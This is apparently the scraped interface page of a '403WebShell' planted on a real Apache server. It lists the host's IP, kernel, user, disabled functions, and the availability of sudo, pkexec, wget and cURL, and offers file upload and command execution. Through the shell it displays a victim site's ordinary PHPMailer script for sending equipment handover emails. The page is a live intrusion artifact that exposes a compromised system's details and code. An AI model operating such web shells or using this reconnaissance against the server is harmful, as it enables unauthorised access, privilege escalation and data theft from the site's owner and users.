Uname:Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64

403WebShell
403Webshell
Server IP : 3.111.61.48  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.2.31
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/vhost/itms.arukustech.com/public/handovers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhost/itms.arukustech.com/public/handovers/rented_send_handover_mail.php
<?php
require_once __DIR__ . '/../../vendor/autoload.php';
require_once __DIR__ . '/../../config/env_loader.php';

use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\Exception;

function sendRentedHandoverMail($toEmail, $pdf) {
    $mail = new PHPMailer(true);

    try {
        // SMTP Config
        $mail->isSMTP();
        $mail->Host       = env('SMTP_HOST');
        $mail->SMTPAuth   = true;
        $mail->Username   = env('SMTP_USERNAME');
        $mail->Password   = env('SMTP_PASSWORD');
        $mail->Port       = env('SMTP_PORT');
        $mail->SMTPSecure = env('SMTP_SECURE');

        // Email Metadata
        $mail->setFrom(env('MAIL_FROM'), env('COMPANY_NAME'));
        $mail->addAddress($toEmail);

        // CC emails (Logic from Code 2)
        $ccEnv = env('MAIL_CC');
        if (!empty($ccEnv)) {
            $ccList = explode(",", $ccEnv);
            foreach ($ccList as $cc) {
                $mail->addCC(trim($cc));
            }
        }

        // Embed Logo for the Signature (Logic from Code 2)
        $logoPath = $_SERVER['DOCUMENT_ROOT'] . "/assets/logo/mail_logo.png";
        if (file_exists($logoPath)) {
            $mail->addEmbeddedImage($logoPath, 'company_logo');
        }

        // Content (Styled like Code 2 but keeping "Rented Equipment" logic)
        $mail->isHTML(true);
        $mail->Subject = "Rented Asset Handover - Company IT Solutions";
        $mail->Body    = "
            <div style='font-family:Arial, sans-serif; color:#333;'>
                <p>Dear <b>Employee</b>,</p>
                <p>Please find the attached handover document for the <b>Rented Equipment</b> assigned to you.</p>
                <p>Kindly keep this for your records.</p>
                <br>
                <p>Regards,<br>
                <b>Company IT Solutions Pvt. Ltd.</b><br>
                <img src='cid:company_logo' style='width:150px; margin-top:10px;'></p>
            </div>";

        // Attach Files
        $mail->addAttachment($pdf);

        $mail->send();
        return true;

    } catch (Exception $e) {
        return false;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit